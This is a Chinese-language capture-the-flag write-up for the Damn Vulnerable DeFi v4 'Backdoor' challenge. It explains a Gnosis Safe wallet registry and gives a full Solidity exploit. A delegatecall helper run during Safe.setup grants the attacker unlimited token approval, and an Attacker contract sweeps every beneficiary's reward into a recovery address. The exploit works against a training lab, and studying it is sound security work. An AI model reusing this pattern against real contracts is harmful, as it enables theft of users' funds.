Damn-vulnerable-defi-V4-solution(Backdoor)
一、Backdoor
背景:
这里用的是 Gnosis Safe(多签钱包) 的体系:
- SafeProxyFactory 可以创建新的 Safe 钱包(是一个代理合约)。
- singletonCopy 是 Safe 钱包的逻辑合约地址(所有代理钱包都会 delegatecall 到这个逻辑合约)。
- 创建 Safe 钱包 时,可以指定一个 IProxyCreationCallback,在新钱包被创建时会触发回调。
本题里,WalletRegistry 就是这个回调合约。
📌 关键函数:
proxyCreated
当有人通过 SafeProxyFactory.createProxyWithCallback 创建钱包时,这个函数会被调用。
逻辑如下:
- 资金检查
if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) revert NotEnoughFunds(); 确保 WalletRegistry 自己有足够的代币可以奖励。
- 验证调用来源
- 必须是 工厂合约 (walletFactory) 调用
- 必须用正确的逻辑合约 (singletonCopy)
验证初始化数据
- initializer[:4] 必须是 Safe.setup.selector → 保证这是在调用 Gnosis Safe 的 setup()。
检查多签参数:
- threshold == 1
- owners.length == 1
验证 owner 合法
- owner 必须在 beneficiaries 白名单里
- 并且 Safe 钱包的 fallbackManager 必须是空(不能有特殊的 handler)。
更新状态
- 从 beneficiaries 列表里移除这个 owner(一个地址只能领一次奖励)。
- 把这个钱包登记到 wallets[owner]。
发放奖励
SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);给新钱包转 10 个代币。
这个 WalletRegistry 的作用就是:
- 管理一批 白名单用户(beneficiaries)
当白名单用户用工厂部署一个 Gnosis Safe 钱包时:
- 验证钱包合法性(阈值=1,只有 1 个 owner,没有 fallback manager,正确的逻辑合约)
- 给钱包奖励 10 个代币
- 并且只奖励一次
攻击思路:
准备一个“DelegateApprove”合约(在 Safe.setup 的 to 上被 DELEGATECALL):
里面只有一个函数:在“当前上下文(即 Safe 钱包自身)”里执行 call 调用
IERC20(token).approve(attacker, type(uint256).max);
为每个受益人(beneficiaries)批量创建 Safe:
- 通过 SafeProxyFactory.createProxyWithCallback(singleton, initializer, salt, registry)。
initializer 编码 Safe.setup 参数:
- owners = [beneficiary]
- threshold = 1
- to = address(DelegateApprove)(你部署的委托合约)
- data = abi.encodeWithSelector(DelegateApprove.approve.selector, address(token), attacker)
- fallbackHandler = address(0)(必须为零以通过校验)
- paymentToken = address(0), payment = 0, paymentReceiver = address(0)
- 这样一来:Safe 创建 → setup 里对 to 做 DELEGATECALL → 在 Safe 自身上下文里完成 对你地址的无限授权。
拿钱:
- WalletRegistry.proxyCreated 校验通过后,会给新钱包打 PAYMENT_AMOUNT = 10e18 代币。
你随后直接从外部调用
token.transferFrom(address(safe), recovery, PAYMENT_AMOUNT)
把每个 Safe 里刚发的 10 代币都拉到你的回收地址 recovery。
- 对所有受益人循环,资金全部转走。
我抽取核心的调用链:
SafeProxyFactory::createProxyWithCallback(...)
├─ SafeProxy::fallback() [call]
│ ├─ Safe::setup(...) [delegatecall]
│ │ ├─ DelegateApprove::approve(...) [delegatecall]
│ │ │ ├─ DamnValuableToken::approve(...) [call]解释:
工厂调用 SafeProxy → 触发 fallback
这里 msg.sender = 工厂。
SafeProxy 用 delegatecall 跳进 Safe::setup
仍然是 Proxy 上下文,msg.sender 还是工厂。
Safe::setup 又 delegatecall 到 DelegateApprove::approve
依然是 Proxy 上下文,msg.sender 还是工厂。
DelegateApprove 内部执行 call(token.approve)
这一步是 普通 call,所以:
- 在 Token 合约眼里,msg.sender = SafeProxy 地址。
- 所以事件里看到的 owner = SafeProxy,spender = DelegateApprove。
solution
function test_backdoor() public checkSolvedByPlayer {
new Attacker(walletFactory, address(singletonCopy), token, recovery, walletRegistry, users);
}contract DelegateApprove {
function approve(address token, address spender) external {
// 在调用者(Safe 钱包)上下文里运行(因为 setup 用的是 DELEGATECALL) 避开 delegatecall 使用 call 真正修改权限
require(DamnValuableToken(token).approve(spender, type(uint256).max), "approve failed");
}
}contract Attacker {
constructor(
SafeProxyFactory factory,
address singleton,
DamnValuableToken token,
address recovery,
WalletRegistry registry,
address[] memory beneficiaries
) {
DelegateApprove helper = new DelegateApprove();
for (uint256 i = 0; i < beneficiaries.length; i++) {
address[] memory owners = new address[](1);
owners[0] = beneficiaries[i];
bytes memory data = abi.encodeWithSelector(DelegateApprove.approve.selector, address(token), address(this));
bytes memory initializer = abi.encodeWithSelector(
Safe.setup.selector,
owners,
1, // threshold
address(helper), // to
data, // data
address(0), // fallbackHandler MUST be zero
address(0), // paymentToken
0, // payment
address(0) // paymentReceiver
);
address proxy = address(factory.createProxyWithCallback(singleton, initializer, i, registry));
require(token.transferFrom(proxy, recovery, 10e18), "pull failed");
}
}
}